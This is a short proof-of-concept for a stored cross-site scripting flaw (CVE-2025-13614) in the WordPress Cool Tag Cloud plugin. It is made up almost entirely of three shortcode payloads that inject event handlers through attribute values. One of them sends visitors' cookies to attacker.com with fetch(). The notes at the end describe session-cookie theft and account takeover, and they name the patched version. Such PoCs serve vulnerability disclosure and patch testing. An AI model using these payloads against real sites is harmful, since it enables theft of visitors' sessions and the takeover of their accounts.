CVE-2025-13614

<!-- CVE-2025-13614 PoC - Cool Tag Cloud Plugin Stored XSS --> <!-- Authenticated Contributor+ Role Required --> <!-- Method 1: Via WordPress Shortcode in Post/Page --> [cool_tag_cloud min_font_size='8' max_font_size='36' font_unit='px' number='45' tag_operator='AND' taxonomy='post_tag' hide_empty='1' echo='0' xxx='" onmouseover="alert(document.domain)" style="background:url(javascript:alert(1))" x="'] <!-- Method 2: Direct attribute injection --> [cool_tag_cloud orderby='count' order='DESC' custom_css_class='" onfocus="alert(document.cookie)" autofocus="'] <!-- Method 3: Event handler injection --> [cool_tag_cloud show_post_count='1' linkify='1' separator=', ' color='red" onload="fetch(`https://attacker.com/steal?c=`+document.cookie)"'] <!-- Notes: 1. Attacker needs contributor role or higher 2. Injected script executes when any user visits the page 3. Can be used to steal session cookies and perform account takeover 4. Recommended fix: Update to version > 2.29 with proper sanitization -->

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